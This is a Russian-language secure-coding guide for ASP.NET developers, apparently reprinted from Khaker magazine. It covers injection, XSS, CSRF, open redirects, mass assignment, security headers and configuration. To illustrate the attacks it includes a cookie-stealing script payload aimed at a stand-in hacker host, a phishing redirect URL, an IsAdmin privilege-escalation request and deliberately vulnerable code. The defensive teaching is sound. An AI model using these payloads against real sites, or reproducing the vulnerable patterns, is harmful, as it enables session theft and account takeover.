ASP.NET MVC — не самый хайповый, но довольно популярный стек в среде веб-разработчиков. С точки зрения (анти)хакера, его стандартная функциональность дает тебе кое-какой базовый уровень безопасности, но для предохранения от абсолютного большинства хакерских трюков нужна дополнительная защита. В этой статье мы рассмотрим основы, которые должен знать о безопасности ASP.NET-разработчик (будь то Core, MVC, MVC Razor или Web Forms).
Примечание: мы продолжаем серию публикаций полных версий статей из журнала Хакер. Орфография и пунктуация автора сохранены.
Передаю слово автору.
Я думаю со мной согласятся многие, что ASP.NET MVC это стек довольно популярных технологий. Хоть технология давно не на пике хайпа, но спрос на .NET-овских веб-разработчиков довольно высок.
Вместе с тем, при разработке обязательно следует учитывать аспекты безопасности. Хоть какой-то функционал и спасает от классических всем известных атак, но от довольно большого количества хакерских трюков требуется дополнительная защита. Давайте рассмотрим популярные виды атак и способы защиты. Must know для ASP.NET разработчика (будь то Core, MVC, MVC Razor или WebForms).
Начнем со всем известных видов атак.
SQL Injection
Как ни странно, но в 2017-ом году Injection и в частности SQL Injection находится на первом месте среди Top-10 рисков безопасности OWASP (Open Web Application Security Project) Этот вид атаки подразумевает, что данные, введенные пользователем используются на серверной стороне в качестве параметров запроса.
Пример классической SQL инъекции скорее характерен именно для приложений Web Forms.
От атак помогает защититься использование параметров в качестве значений запроса:
string commandText = "UPDATE Users SET Status = 1 WHERE CustomerID = @ID;";
SqlCommand command = new SqlCommand(commandText, connectionString);
command.Parameters.AddWithValue("@ID", customerID);
Если вы разрабатываете MVC приложение, то Entity Framework прикрывает некоторые уязвимости. Для того, чтобы в MVC/EF приложении сработала SQL инъекция нужно умудриться. Однако это возможно если вы выполняете SQL код с помощью ExecuteQuery или вызываете плохо написанные хранимые процедуры.
Несмотря на то, что ORM позволяет избежать SQL Injection (за исключением приведенных выше примеров), рекомендуется ограничивать атрибутами значения, которые могут принимать поля модели, а значит и формы. Например, если подразумевается, что в поле может быть введен только текст, то с помощью Regex выражения укажите диапазон от ^[a-zA-Z]+$
Если в поле должны быть введены цифры, то укажите это как требование:
[RegularExpression(@"\d{5}", ErrorMessage = "Индекс должен содержать 5 цифр")]
public string Zip { get; set; }
В WebForms ограничить возможные значения можно с помощью валидаторов. Пример:
<asp:TextBox id="txtName" runat="server"></asp:TextBox>
<asp:RegularExpressionValidator id="nameRegex" runat="server" ControlToValidate="txtName"
ValidationExpression="^[a-zA-Z'.\s]{1,40}$" ErrorMessage="Ошибочное значение в поле имени" />
Начиная с .NET 4.5 WebForms используют Unobtrusive Validation. А это значит, что не требуется написание какого-то дополнительного кода для проверки значения формы.
Валидация данных частности помочь защититься от еще одной всем известной уязвимости под названием Cross-Site Scripting (XSS).
XSS
Типичный пример XSS – добавление скрипта в комментарий или запись в гостевую книгу. Например, такого:
<script>document.location='https://verybadcoolhacker.com/?cookie='+encodeURIComponent(document.cookie)</script>
Как вы понимаете, в данном примере куки с вашего сайта передают в качестве параметра на какой-то хакерский сайт.
В Web Forms можно совершить ошибку с помощью примерно такого кода:
<p>Извините <%= username %>, но пароль ошибочный</p>
Понятно, что вместо username может быть скрипт. Чтобы избежать выполнения скрипта можно как минимум использовать другое ASP.NET выражение: <%: username %>, которое энкодит свое содержимое.
Если вы используете Razor, то строки автоматически энкодируются. Так что чтобы получить XSS нужно постараться и совершить ошибку. Например, использовать Html.Raw(Model.username). Или в вашей модели использовать MvcHtmlString вместо string
Для дополнительной защиты от XSS данные кодируются еще и в коде C#. В .NET Core можно использовать следующие кодеры из пространства имен System.Text.Encodings.Web: HtmlEncoder, JavaScriptEncoder и UrlEncoder
Следующий пример вернет строку "<script>":
string encodedString = HtmlEncoder.Default.Encode("<script>");
В классическом .NET используется HttpUtility.HtmlEncode. А начиная с .NET 4.5 можно сделать AntiXssEncoder энкодером по умолчанию. Делается это добавлением в тег httpRuntime файла web.config одного атрибута:
<httpRuntime targetFramework="4.7" encoderType="System.Web.Security.AntiXss.AntiXssEncoder" />
Таким образом, используя старый код HttpUtility.HtmlEncode вы фактически будете использовать новый более стойкий к уязвимостям класс (также новый код будут использовать старые классы HttpServerUtility, and HttpResponseHeader).
Рекомендуется кодировать строки не перед сохранением в базу, а перед отображением.
Кроме того, если вы используете какую-то строку, введенную пользователем в качестве параметра для передачи в URL, то обязательно используйте UrlEncoder.
Cross-Site Request Forgery (CSRF)
Википедия в “алиэкспрессовском” стиле утверждает, что на русском это звучит как «Межсайтовая подделка запроса».
Это такой тип атаки, при которой пользователь заходит на какой-либо вредоносный сайт, и этот сайт отправляет запросы на другой сайт. На хороший сайт, на котором пользователь зарегистрирован, и который он недавно посещал. Может случится такое, что информации об авторизации на хорошем сайте все еще остается в cookie. Тогда вполне может быть совершено и какое-то вредоносное скрытое действие.
Избежать этой атаки в MVC помогает всем известный хелпер Html.AntiForgeryToken() добавленный во View. И добавленный перед action контроллера атрибут [ValidateAntiForgeryToken].
Этот способ защиты относится к типу STP (synchronizer token pattern). Суть в том, что при заходе на страницу сервер отправляет пользователю токен, а после того как пользователь совершает запрос он вместе с данными отправляет токен серверу обратно для проверки. Токены могут сохранятся как в заголовке, так и в скрытом поле или куки.
Razor страницы защищены по умолчанию от XSRF/CSRF атак. А вот если вы используете AJAX запросы, то вы можете отправить токены в заголовке. Это не так просто, как использование AntiForgeryToken.
Для настройки этой возможности ASP.NET Core использует следующий сервис: Microsoft.AspNetCore.Antiforgery.IAntiforgery.
Классические ASP.NET приложения используют метод AntiForgery.GetTokens для генерации токенов и AntiForgery.Validate для проверки полученных серверной стороной токенов.
Читайте подробнее здесь: Anti-CSRF and AJAX
Open redirect attacks
Будьте аккуратнее с редиректами. Следующий код очень опасен:
Response.Redirect(Request.QueryString["Url"]);
Атакующий может добавить ссылку на свой сайт. А пользователь же, увидев, что URL начинается с хорошего сайта, может не рассматривать адрес полностью (особенно если он длинный) а кликнуть ссылку, таким образом перейдя на вредный сайт с вашего. Эта уязвимость может использоваться в частности для фишинга. Пример фишинговой ссылки:
http://www.goodwebsite.com/Redirect?url=http://www.goodweebsite.com
Многие пользователи получив e-mail со ссылкой смотрят совпадает ли домен и совсем не ожидают, быть перенаправленными по ссылке с хорошего вебсайта на какой-то плохой. А если по редиректу откроется страница с таким же дизайном, то многие пользователи не задумываясь введут свои логин и пароль (думая, что случайно вышли из аккаунта). После чего могут быть перенаправлены злоумышленниками на настоящий сайт.
Этот вид атак касается и MVC. В следующем примере происходит проверка на то является ли ссылка локальной:
private ActionResult RedirectToLocalPage(string redirectUrl)
{
if (Url.IsLocalUrl(redirectUrl)) return Redirect(redirectUrl);
// ….
}
Для защиты от этого типа атак можно использовать и вспомогательный метод LocalRedirect
private ActionResult RedirectToLocalPage(string redirectUrl)
{
return LocalRedirect(redirectUrl);
}
Вообще, старайтесь никогда не доверять полученным данным.
Mass assignment
Разберем эту уязвимость на примере.
Допустим, в вашем вебсайте есть простая модель с двумя свойствами
public class UserModel
{
public string Name { get; set; }
public bool IsAdmin { get; set; }
}
И есть довольно обычная и тоже довольно простая вьюшка
@model UserModel
<form asp-action="Vulnerable" asp-Controller="Home">
<div class="form-group">
<label asp-for="Name"></label>
<input class="form-control" type="text" asp-for="Name" />
</div>
<div class="form-group">
@if (Model.IsAdmin)
{
<i>You are an admin</i>
}
else
{
<i>You are a standard user</i>
}
</div>
<button class="btn btn-sm" type="submit">Submit</button>
</form>
С помощью этой вьюшки можно редактировать только имя пользователя, так ведь?
А теперь давайте перейдем к такому же простому коду:
[HttpPost]
public IActionResult Vulnerable(int id, UserModel model)
{
return View("Index", model);
}
Все ведь отлично, да?
Как оказывается, совсем нет. А все из-за того, что экшн помечен как HttpPost.
Для того, чтобы убедится в этом достаточно открыть утилиту вроде Postman или Fiddler и отправить POST запрос на адрес с указанием параметров id и IsAdmin. Если вы тестируете локально, то адрес может быть таким: localhost:51696/Home/Vulnerable?id=34&IsAdmin=true
Как вы можете заметить на скриншоте получен доступ к секретной информации (в HTML коде видна строка You are an admin)
Как избежать этого типа атаки? Самый простой вариант — это не попадать в ситуацию, когда с HttpPost передается какой-нибудь объект. А если такой ситуации не избежать, то быть готовым к тому, что передано может быть все что угодно. Один из вариантов это создать какой-то отдельный класс для передачи его через HttpPost. Это может быть как базовый класс текущего класса с общедоступными параметрами, так и класс-двойник. В этом классе важные поля можно пометить атрибутом Editable со значением false:
[Editable(false)]
Избежать многих атак помогает установка определенных значений в заголовок запроса. Заголовки поддерживаются не всеми браузерами (в основном не поддерживаются старыми версиями). Рассмотрим некоторые популярные виды атак, избежать которых поможет установка Header-ов.
XSS
Уже рассмотренный выше вид атаки. Для дополнительной защиты можно использовать заголовок content-security-policy. Он позволит загружать контент только с определенных ресурсов. Например, можно разрешить запуск скриптов только с текущего сайта:
content-security-policy: script-src 'self'
Есть еще возможность указать доверенные сайты, доступ к содержимому которых разрешен.
Следующий заголовок тоже помогает защититься от XSS, хотя, как правило, он включен браузерами по умолчанию: x-xss-protection. Пример:
x-xss-protection: 1; mode=block
Click-Jacking
Зайдя на какой-то сайт пользователю может быть открыто какое-то окошко, ссылка или баннер поверх которого добавлена какая-то скрытая кнопка/ссылка внутри прозрачного iframe. И получается, что пользователь кликает на что-то, на что он хочет кликнуть, но при этом фактически кликает на скрытый объект против своей воли.
Установка заголовка "X-FRAME-OPTIONS " со значением "DENY" запретит помещение страниц вашего сайта в iframe. Если у вас на сайте нет фреймов, то это хороший вариант для вас. Если же вы используете iframe для отображения страниц вашего сайта, то значение SAMEORIGIN разрешит отображать страницы вашего сайта во фрейме, но только на других страницах того же самого вашего сайта.
MIME sniffing
Этот не название способа атаки, а проверка содержимого файлов, которая связана в первую очередь с XSS. Зачастую злоумышленник может загрузить какой-либо вредный код в виде какого-то файла с совершенно безобидным расширением. Допустим, в качестве тега video. И может случится так, что браузер распознает файл как код и выполнит его. Чтобы этого не произошло может использоваться установка заголовка "X-Content-Type-Options: nosniff". При получении этого заголовка браузер будет проверять является ли содержимое файла содержимым именно того формата, который указан (эта проверка и называется MIME sniffing).
Referrer-Policy
Браузеры автоматически добавляют в заголовки запросов при переходе на какой-то сайт ссылку на сайт с которого был совершен переход. Это очень удобно для аналитики. Например, не составит большого труда написать какой-то код, который составит для вас статистику со списком сайтов с которых посетители заходят на ваш сайт. Однако, если в стоке адреса на вашем сайте имеются запросы с какой-то конфиденциальной информацией, то очень желательным было бы скрыть эту информацию от других сайтов. Например: http://www.somegoodsite.com/Edit?id=34543276654
Для того чтобы скрыть вашу ссылку при переходе на чужой сайт можно установить заголовок со значением "Referrer-Policy: no-referrer"
Каким образом можно добавить на ваш сайт заголовки запросов
Заголовки запросов можно установить, как с помощью настроек IIS, так и из кода приложения. Настройку IIS рассматривать не будем, а рассмотрим варианты установки заголовков из кода.
Для того, чтобы добавить заголовок в ASP.NET Core можно создать Middleware. Middleware как можно понять из названия — это какой-то промежуточный код, находящийся где-то посередине цепочки процесса запросов и ответов.
Вот пример пары классов, позволяющий добавить заголовок X-Frame-Options:DENY
public class HeadersMiddleware
{
private readonly RequestDelegate _next;
public HeadersMiddleware(RequestDelegate next)
{
_next = next;
}
public async Task Invoke(HttpContext context)
{
IHeaderDictionary headers = context.Response.Headers;
headers["X-Frame-Options"] = "DENY";
await _next(context);
}
}
public static class HeadersMiddlewareExtensions
{
public static IApplicationBuilder UseHeadersMiddleware(this IApplicationBuilder builder)
{
return builder.UseMiddleware<HeadersMiddleware>();
}
}
Зарегистрировать получившийся middleware можно в методе Configure файла Startup.cs одной строкой:
app.UseHeadersMiddleware();
Теперь среди списка заголовков, полученных от сервера мы сможем увидеть наш недавно добавленный X-Frame-Options
Можно даже не использовать Middleware, а добавить заголовок сразу в метод Config файла Startup.cs, заменив
app.UseHeadersMiddleware();
на
app.Use(async (context, next) =>
{
context.Response.Headers.Add("X-Frame-Options", "SAMEORIGIN");
await next();
});
Этот способ выглядит проще. Кроме того, с его помощью можно установить заголовки как для всего контента так и только для динамического (соответственно добавить код до строки app.UseStaticFiles() и после).
INFO
Динамический контент это файлы, которые, соответственно содержат в себе динамические данных модели. Статический контент — это такие файлы как html, css, js, jpg и т.п.
В классическом ASP.NET добавление заголовка совершается немного иным способом.
Есть два варианта. Первый это добавить в секцию system.webServer файла web.config теги. Например, такие:
<httpProtocol>
<customHeaders>
<add name="X-Frame-Options" value="SAMEORIGIN" />
<remove name="X-Powered-By" />
</customHeaders>
</httpProtocol>
Заметьте, что можно не только добавлять, но и удалять теги. В примере удаляется заголовок X-Powered-By. Чем меньше информации мы раскрываем, тем лучше, не так ли? Результат:
Кроме заголовка X-Powered-By вполне можно убрать еще и заголовки Server и X-AspNet-Version.
Второй вариант добавления заголовков это добавление метода Application_BeginRequest в файл Global.asax
protected void Application_BeginRequest(object sender, EventArgs e)
{
HttpContext.Current.Response.AddHeader("X-FRAME-OPTIONS", "DENY");
}
NWebsec
Для добавления заголовком можно воспользоваться и довольно популярным NuGet пакетом под названием NWebsec. Автором пакета является Andre N. Klingsheim.
NWebsec можно использовать как с обычными ASP.NET приложениями, так и с Core 1.1
В приложении ASP.NET после установки пакета в web.config появятся следующие теги:
<nwebsec>
<httpHeaderSecurityModule xmlns="http://nwebsec.com/HttpHeaderSecurityModuleConfig.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="NWebsecConfig/HttpHeaderSecurityModuleConfig.xsd">
</httpHeaderSecurityModule>
</nwebsec>
В качестве их содержимого можно добавить установку заголовков. Скажем, такой вариант:
<redirectValidation enabled="true" />
<securityHttpHeaders>
<x-XSS-Protection policy="FilterEnabled" blockMode="true"/>
<content-Security-Policy enabled="true">
</content-Security-Policy>
<x-Frame-Options policy="Deny"/>
<x-Content-Type-Options enabled="true" />
</securityHttpHeaders>
Если вы используете ASP.NET Core, то рекомендуемый вариант добавления заголовков выглядит так:
app.UseXContentTypeOptions();
app.UseReferrerPolicy(opts => opts.NoReferrer());
перед
app.UseStaticFiles();
и после
app.UseXfo(xfo => xfo.Deny());
app.UseRedirectValidation();
Один большой минус NWebsec это то, что версия .NET Core 2.0 пока что не поддерживается.
Самые страшные ошибки конфигурирования
Хранение строки подключения к базе данных
Если вы работаете в полноценном ASP.NET, то лучший вариант хранения строки подключения это web.config файл. Причем храните строку не в открытом виде, а в зашифрованном. Сделать это можно с помощью утилиты aspnet_regiis.exe Самый простой вариант — это запустить Developer Command Prompt в режиме администратора и выполнить команду
aspnet_regiis.exe -pef connectionStrings C:\inetpub\wwwroot\YourAppName
2 параметра команды это раздел который необходимо зашифровать (в данном случае connectionStrings) и путь к директории в которой находится файл web.config
Если вы работаете в ASP.NET Core, то вы можете использовать Secret Manager tool для хранения строк во время процесса разработки.
Никакого готового варианта для production для .NET Core пока что нет. Но если вы хостите приложение в Azure, то можете сохранить конфиденциальную информацию в параметрах приложения
При этом саму строку подключения вы можете вынести в отдельный файл. Из соображений безопасности этот файл лучше исключить из системы контроля версий.
<connectionStrings configSource="ConnectionStrings.config">
</connectionStrings>
Таким же образом можно вынести и конфиденциальные параметры:
<appSettings file="AppSettingsSecrets.config">
</appSettings>
В самом файле необходимо просто указать то содержимое, которое было бы использовано в качестве содержимого тегов.
Скрытие сообщений об ошибке
Возможно вы видели когда-либо «желтый экран смерти» с текстом кода, в котором возникла ошибка. Я не случайно поместил эту рекомендацию сразу после строки подключения. Тем нагляднее будет пример в котором злоумышленник может искусственным образом создать ошибку и получить какую-либо полезную для себя информацию. В идеальном случае это может быть строка подключения. Иногда даже мелочь может сократить время поиска уязвимостей сайта. Если у вас классическое приложение ASP.NET, то в web.config режим CustomErrors обязательно оставляем On или хотя бы RemoteOnly:
<customErrors mode="On" />
В ASP.NET Core можно разделить отображение для режима разработки и для продакшн с помощью NuGet пакета Microsoft.AspNetCore.Diagnostics. Например, для настройки отображения сообщения об ошибке в метод Configure класса StartUp можно добавить:
env.EnvironmentName = EnvironmentName.Production;
if (env.IsDevelopment())
{
app.UseDeveloperExceptionPage();
}
else
{
app.UseExceptionHandler("/error");
}
Еще несколько ошибок конфигурирования web.config
Если вдруг у вас в web.config случайно попали настройки трейсинга или дебага, то на продакшен сервере обязательно ставим значения false.
<trace enabled="false" localOnly="true" />
<compilation debug="false" targetFramework="4.5" />
Для того, чтобы взломщик не смог получить доступ к файлу куки (скажем, с помощью XSS или каким-нибудь другим способом), необходимо чтобы значением следующего параметра было true
<httpCookies httpOnlyCookies="true" requireSSL="false"/>
Broken Authentication and Session Management
Для хранения паролей и другой конфиденциальной информации используйте только стойкие хаши с salt. OWASP рекомендует Argon2, PBKDF2, scrypt and bcrypt.
Используйте Forms authentication только для интранет сайтов. Если вы хотите использовать аутентификацию в веб, то переходите на Identity.
Если вы уже используете Identity с ASP.NET Core приложением, то вы можете ограничить число попыток ввода пароля добавив в метод ConfigureServices файла Startup.cs следующий код:
services.Configure<IdentityOptions>(options =>
{
options.Lockout.DefaultLockoutTimeSpan = TimeSpan.FromMinutes(30);
options.Lockout.MaxFailedAccessAttempts = 10;
});
Если вы разрешаете пользователю отредактировать какие-то его данные, то проверяйте редактирует ли он свои данные (помним о том, что полученным данным не стоит доверять):
public ActionResult EditProfileInfo(int id)
{
var user = _context.Users.FirstOrDefault(e => e.Id == id);
if (user.Id == _userIdentity.GetUserId())
{
// Редактируем данные
}
// …
}
Заключение
Насколько смог я постарался собрать воедино все что может пригодится ASP.NET разработчику. Конечно, рассказать получилось не обо всем. Например, можно еще отдельно рассмотреть возможные ошибки конфигурирования IIS. Однако данного материала должно хватить, чтобы усвоить основные правила и не совершать грубых ошибок.
Напоминаем, что это полная версия статьи из журнала Хакер. Ее автор — Алексей Соммер.